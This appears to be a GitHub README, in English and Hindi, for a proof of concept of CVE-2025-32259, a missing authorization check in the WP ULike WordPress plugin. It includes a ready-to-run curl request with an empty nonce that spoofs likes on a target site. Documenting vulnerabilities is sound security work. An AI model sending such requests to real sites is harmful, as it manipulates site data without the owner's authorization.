hossameahmed/wp-ulike-cve-2025-32259-pocIn affected versions of the WP ULike plugin, there is no proper authorization check before allowing certain AJAX actions or vote manipulations. This allows unauthenticated users to interact with the plugin in ways only logged-in users should be able to — potentially skewing votes or injecting misleading data.
🔬 WP ULike प्लगइन (WordPress) में CVE-2025-32259 को प्रदर्शित करने वाला एक सरल PoC।
🚨 केवल शैक्षिक उपयोग – बिना स्पष्ट अनुमति के सिस्टम पर परीक्षण न करें।
WP ULike एक लोकप्रिय WordPress प्लगइन है जो उपयोगकर्ताओं को साइट पर सामग्री को लाइक करने की अनुमति देता है। संस्करण 4.7.9.1 तक में प्राधिकरण की कमी की भेद्यता है, जो अप्रमाणित उपयोगकर्ताओं को AJAX अनुरोधों के माध्यम से "लाइक" क्रियाओं को स्पूफ करने की अनुमति देती है।
यह भेद्यता अप्रमाणित उपयोगकर्ताओं को AJAX एंडपॉइंट के साथ इंटरैक्ट करने और बिना अनुमति के किसी भी सामग्री (पोस्ट, टिप्पणी, आदि) को लाइक करने की अनुमति देती है।
curl -X POST https://target-site.com/wp-admin/admin-ajax.php \
-d "action=wp_ulike_process" \
-d "method=likeThis" \
-d "id=1" \
-d "type=post" \
-d "nonce=" \
-H "Content-Type: application/x-www-form-urlencoded"
एक वैध पोस्ट ID के साथ id=1 को बदलें।
एक सफल प्रतिक्रिया इस प्रकार दिख सकती है:
{"status":"success","msg":"You liked this."}